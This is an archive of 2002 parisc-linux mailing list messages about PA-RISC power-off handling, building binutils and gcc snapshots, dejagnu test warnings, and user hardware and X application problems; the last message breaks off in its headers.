Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 8F5FE483A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Feb 2002 04:13:50 -0700 (MST)
Original-Received: (qmail 26045 invoked by uid 0); 19 Feb 2002 11:13:47 -0000
Original-Received: from pd9040673.dip.t-dialin.net (HELO P100) (217.4.6.115)
  by mail.gmx.net (mp008-rz3) with SMTP; 19 Feb 2002 11:13:47 -0000
X-Mailer: KMail [version 1.3.99]
In-Reply-To: <20020219085057.17411.qmail@web21206.mail.yahoo.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14102

On Tuesday 19 February 2002 09:50, Hinrich Aue wrote:
> I use 2.4.17-pa26
>
> I tried to increase push-time to 5*HZ.
> But as you said, the machine doesn't seem to recognize
> when I release the button. 

Yep.

> So the shutdown is
> initiated correctly, but after 5 sec the machine shuts
> down, ignoring whether the runlevel 6 is reached or
> not.

process_shutdown() calls after 5 seconds poweroff(), which in
turn calls deferred_poweroff() again. deferred_poweroff() then
sends the SIGINT signal to the init process which then
initiates the normal shutdown. There is no other kernel-code
which powers off your computer directly.
This works perfectly for me on the 715/64 and many others here.
Maybe your PDC (BIOS/Firmware) handles that differentlly ? Maybe
you could verify that you have the most recent PDC version ?

> BTW why does the halt command not shut down the
> machine?

I've not found any direct PDC (BIOS/Firmware) call which does this.
pdc_soft_power_shutdown() doesn't seem to do want it's name
suggests. It instead seems to set a flag in the PDC so that when 
you reboot your system it will shut off during the main PDC tests. 
So there seems to be a way to turn off the system immediately,
but it seem to be _very_ system dependant too.

> I heared it would work. :-<
> Is it possible to change the bit 0 if CPU diagnose
> register 25 by hand?

I tried it, but it didn't worked.
If we would find a way to reset bit 0 in reg 25 we would
have a solution.

Helge




From - Thu Nov 08 21:21:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?q?Hinrich=20Aue?= <hinrich_aue@yahoo.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Anyone interrested in a 715/80 for free?
Date: Tue, 19 Feb 2002 12:44:12 +0100 (CET)
Lines: 17
Approved: news@gmane.org
Message-ID: <20020219114412.40921.qmail@web21202.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621083 3593 80.91.229.3 (22 Nov 2014 01:51:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 19 04:44:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web21202.mail.yahoo.com (web21202.mail.yahoo.com [216.136.130.18])
	by dsl2.external.hp.com (Postfix) with SMTP id 6DB4B483D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Feb 2002 04:44:17 -0700 (MST)
Original-Received: from [192.69.234.26] by web21202.mail.yahoo.com via HTTP; Tue, 19 Feb 2002 12:44:12 CET
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14103

I've got a unused 715/80 with 32MB RAM and a HP
3d-Accelerator.
No HIL keyboard or mouse.
I've got some 1GB scsi-drives too - I don't need them.
The machine should work fine, but I did not test it.
I'm in Germany Mlln, that's near Hamburg. Next Month
I'm in Furtwangen that's near Freiburg/Stuttgart.
So there are two places to get it.

Somebody interested?

__________________________________________________________________

Gesendet von Yahoo! Mail - http://mail.yahoo.de
Ihre E-Mail noch individueller? - http://domains.yahoo.de



From - Thu Nov 08 21:21:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa-linux gcc-3.0.3:
Date: Tue, 19 Feb 2002 15:43:39 +0100
Lines: 69
Approved: news@gmane.org
Message-ID: <OF6C877807.5EEE6DAF-ONC1256B65.0050B12E@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621084 3596 80.91.229.3 (22 Nov 2014 01:51:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:24 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, jso@europay.com,
	"jso" <jso@europay.com>(=?iso-8859-1?Q?Jo=EBl_Soete?=),
	parisc-linux@lists.parisc-linux.org, "jso"@hiauly1.hia.nrc.ca
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 19 07:37:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id E1A82483E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Feb 2002 07:37:48 -0700 (MST)
Original-Received: from mastercard.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d592b734985@epirel991.europay.com>;
 Tue, 19 Feb 2002 15:37:45 +0100
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.8 |June 18, 2001) at
 02/19/2002 03:43:41 PM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14104

Hello David,

Just finished to compile binutils. All seems Ok.
I just notice many "WARNING: could not find 'runtest'" when "make -k
check". Is it normal?

Thanks,
     Joel



                                                                           =
                                         =20
                    "John David                                            =
                                         =20
                    Anglin"                To:     jso@europay.com (Jo=EBl =
Soete)                                     =20
                    <dave@hiauly1.h        cc:     carlos@baldric.uwo.ca, "=
jso"@hiauly1.hia.nrc.ca,                 =20
                    ia.nrc.ca>             <jso@europay.com>, parisc-linux@=
lists.parisc-linux.org                   =20
                                           Subject:     Re: [parisc-linux] =
Re: hppa-linux gcc-3.0.3:                =20
                    18-02-02 07:03                                         =
                                         =20
                    PM                                                     =
                                         =20
                                                                           =
                                         =20
                                                                           =
                                         =20




> PS: I would try natively (on my palinux box directly) with
MACH=3Dhppa-linux
> i.e.: ~/source/binutils/configure --host=3Dhppa-linux ... ?

For binutils, I just use from my build directory:

../src/configure --prefix=3D/where_to_install --host=3Dhppa-linux --disable=
-nls
make
make -k check
make install

Set CFLAGS if you want.

Dave
--
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX:
952-6605)






**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************



From - Thu Nov 08 21:21:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa-linux gcc-3.0.3:
Date: Tue, 19 Feb 2002 16:49:40 +0100
Lines: 80
Approved: news@gmane.org
Message-ID: <OF1AF63CA2.4A22BA83-ONC1256B65.0056BC8B@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621084 3599 80.91.229.3 (22 Nov 2014 01:51:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:24 +0000 (UTC)
Cc: carlos@baldric.uwo.ca,
	"John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	"jso" <jso@europay.com>(=?iso-8859-1?Q?Jo=EBl_Soete?=),
	parisc-linux@lists.parisc-linux.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 19 08:43:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2C526483F
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Feb 2002 08:43:43 -0700 (MST)
Original-Received: from mastercard.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d592bafb328@epirel991.europay.com>;
 Tue, 19 Feb 2002 16:43:44 +0100
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.8 |June 18, 2001) at
 02/19/2002 04:49:41 PM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14105

Hey Matthias,

Just a stupid question: "/usr/lib/gcc-snapshot/" is there where you put
your sources gcc-snapshot sources?

Thanks for help,
     Joel



                                                                           =
                                       =20
                    Matthias                                               =
                                       =20
                    Klose                To:     "John David Anglin" <dave@=
hiauly1.hia.nrc.ca>                    =20
                    <doko@cs.tu-b        cc:     jso@europay.com (Jo=EBl So=
ete), carlos@baldric.uwo.ca,             =20
                    erlin.de>            parisc-linux@lists.parisc-linux.or=
g                                      =20
                                         Subject:     Re: [parisc-linux] Re=
: hppa-linux gcc-3.0.3:                =20
                    18-02-02                                               =
                                       =20
                    10:47 PM                                               =
                                       =20
                                                                           =
                                       =20
                                                                           =
                                       =20




John David Anglin writes:
> > Thanks for advise but I speek well about the new (annonced on
> > http://www.gnu.org/software/gcc/gcc.html: ...The next major release,
GCC
> > 3.1,...) gcc release 3.1.
>
> I am building 3.1 experimental regularly from the main gcc cvs source.
> I have built glibc with it.  You probably should get the cvs binutils
> because it contains a long branch related fix which will cause a seg
> fault early in the bootstrap.  You can avoid it by using "-O2" in
> stage1.  I have a couple of small fixes that need to go in regarding
> linking with milli and pthreads routines.  The gcc testsuite (expect)
> seems to trigger a parisc-linux bug which fills /var with page fault
> error mesages.

I just uploaded the gcc-snapshot_20020216 build to incoming (without
any extra patches).

To use this snapshot, you should set the following environment
variables:

        LD_LIBRARY_PATH=3D/usr/lib/gcc-snapshot/lib:$LD_LIBRARY_PATH
        PATH=3D/usr/lib/gcc-snapshot/bin:$PATH

Unset these variables before building Debian packages destined for an
upload to ftp-master.debian.org.

The snapshot packages doesn't build automatically. I had to restart
the build due to bash problems (the same you saw as well).

           Matthias






**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************



From - Thu Nov 08 21:21:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa-linux gcc-3.0.3:
Date: Tue, 19 Feb 2002 10:58:09 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <200202191558.g1JFw9Zc016411@hiauly1.hia.nrc.ca>
References: <OF6C877807.5EEE6DAF-ONC1256B65.0050B12E@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621084 3603 80.91.229.3 (22 Nov 2014 01:51:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:24 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, jso@europay.com, "jso"@hiauly1.hia.nrc.ca,
	<jso@europay.com>, parisc-linux@lists.parisc-linux.org,
	"jso"@hiauly1.hia.nrc.ca
To: jso@europay.com (=?iso-8859-1?Q?Jo=EBl_Soete?=)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 19 08:58:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 47D954846
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Feb 2002 08:58:14 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g1JFwAFN016413;
	Tue, 19 Feb 2002 10:58:10 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g1JFw9Zc016411;
	Tue, 19 Feb 2002 10:58:09 -0500 (EST)
In-Reply-To: <OF6C877807.5EEE6DAF-ONC1256B65.0050B12E@com> from "=?iso-8859-1?Q?Jo=EBl_Soete?=" at Feb 19, 2002 03:43:39 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14106

> Just finished to compile binutils. All seems Ok.
> I just notice many "WARNING: could not find 'runtest'" when "make -k
> check". Is it normal?

This is normal:

if /bin/sh -c "$runtest --version" > /dev/null 2>&1; then \
  $runtest --tool libstdc++-v3 --srcdir $srcdir ; \
else echo "WARNING: could not find \`runtest'" 1>&2; :;\
fi
WARNING: Couldn't find the global config file.
WARNING: Couldn't find tool init file

You can get rid of the "global config" warning by installing a global
config file for dejagnu.  There is as sample in the distribution.

If you actually see your warning and not just the Makefile command,
then you have a problem with your dejagnu installation or PATH variable.
In order to run the testsuite, you need dejagnu, expect and tcl
installed.  They may require some other packages as well for full
functionality.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa-linux gcc-3.0.3:
Date: Tue, 19 Feb 2002 18:03:22 +0100
Lines: 81
Approved: news@gmane.org
Message-ID: <OFDF1A47D3.4AEE03AD-ONC1256B65.005CFBD9@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621085 3608 80.91.229.3 (22 Nov 2014 01:51:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:25 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, jso@europay.com,
	"jso" <jso@europay.com>(=?iso-8859-1?Q?Jo=EBl_Soete?=),
	parisc-linux@lists.parisc-linux.org, "jso"@hiauly1.hia.nrc.ca
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 19 09:57:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC6C14841
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Feb 2002 09:57:24 -0700 (MST)
Original-Received: from mastercard.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d592bf32b8f@epirel991.europay.com>;
 Tue, 19 Feb 2002 17:57:26 +0100
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.8 |June 18, 2001) at
 02/19/2002 06:03:22 PM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14107

David,

It seems Ok: just finished the first step of compiling gcc (snapshot  dated
020218 from sources.redhat.com because I do not find where Matthias
uploaded its snapshot :( ) with echo $? -> after make :-).
I will continue with glibc.

Thanks for all,
     Joel

PS: with gcc snapshot, I also find gcc-core-xxx.bz2. Do know what is it?
(Do I need it?)



                                                                           =
                                         =20
                    "John David                                            =
                                         =20
                    Anglin"                To:     jso@europay.com (Jo=EBl =
Soete)                                     =20
                    <dave@hiauly1.h        cc:     carlos@baldric.uwo.ca, j=
so@europay.com, "jso"@hiauly1.hia.nrc.ca,=20
                    ia.nrc.ca>             <jso@europay.com>, parisc-linux@=
lists.parisc-linux.org, "jso"            =20
                                           @hiauly1.hia.nrc.ca             =
                                         =20
                    19-02-02 04:58         Subject:     Re: [parisc-linux] =
Re: hppa-linux gcc-3.0.3:                =20
                    PM                                                     =
                                         =20
                                                                           =
                                         =20
                                                                           =
                                         =20




> Just finished to compile binutils. All seems Ok.
> I just notice many "WARNING: could not find 'runtest'" when "make -k
> check". Is it normal?

This is normal:

if /bin/sh -c "$runtest --version" > /dev/null 2>&1; then \
  $runtest --tool libstdc++-v3 --srcdir $srcdir ; \
else echo "WARNING: could not find \`runtest'" 1>&2; :;\
fi
WARNING: Couldn't find the global config file.
WARNING: Couldn't find tool init file

You can get rid of the "global config" warning by installing a global
config file for dejagnu.  There is as sample in the distribution.

If you actually see your warning and not just the Makefile command,
then you have a problem with your dejagnu installation or PATH variable.
In order to run the testsuite, you need dejagnu, expect and tcl
installed.  They may require some other packages as well for full
functionality.

Dave
--
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX:
952-6605)






**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************



From - Thu Nov 08 21:21:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James S" <smith-james@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Printing on a 712/60
Date: Tue, 19 Feb 2002 13:46:14 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <003401c1b975$b5651f60$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621085 3611 80.91.229.3 (22 Nov 2014 01:51:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:25 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 19 11:46:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail10.sdc1.sfba.home.com (femail10.sdc1.sfba.home.com [24.0.95.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CF264842
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Feb 2002 11:46:21 -0700 (MST)
Original-Received: from kenny ([68.58.113.28]) by femail10.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP
          id <20020219184614.WDNI29698.femail10.sdc1.sfba.home.com@kenny>
          for <parisc-linux@lists.parisc-linux.org>;
          Tue, 19 Feb 2002 10:46:14 -0800
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14108

Every time i send a printjob to the local printer port the machine locks
solid

anybody else having this problem ?

i've got an HP deskjet 500 attached using a standard parallel cable
using the cups printing system, although i tried lpd & got the same result

Thanks

James S






From - Thu Nov 08 21:21:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James S" <smith-james@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems running some X apps
Date: Tue, 19 Feb 2002 16:03:13 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <004001c1b988$d854a000$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621085 3616 80.91.229.3 (22 Nov 2014 01:51:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:25 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 19 14:03:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail10.sdc1.sfba.home.com (femail10.sdc1.sfba.home.com [24.0.95.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6DB634848
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Feb 2002 14:03:15 -0700 (MST)
Original-Received: from kenny ([68.58.113.28]) by femail10.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP
          id <20020219210313.FVUM29698.femail10.sdc1.sfba.home.com@kenny>
          for <parisc-linux@lists.parisc-linux.org>;
          Tue, 19 Feb 2002 13:03:13 -0800
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14109

when i try to run some X apps, i get this error:-

Unresolved inheritance operation


i get this when i run the siag pathetic writer app & also in chimera2

with the 1st, it stops the app from running, with the second it stop some
child windows from opening


anybody know what i might have to do to correct the problem ?


Thanks

James S






From - Thu Nov 08 21:21:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa-linux gcc-3.0.3:
Date: Tue, 19 Feb 2002 22:57:23 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <15474.51779.168004.21272@gargle.gargle.HOWL>
References: <OFDF1A47D3.4AEE03AD-ONC1256B65.005CFBD9@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
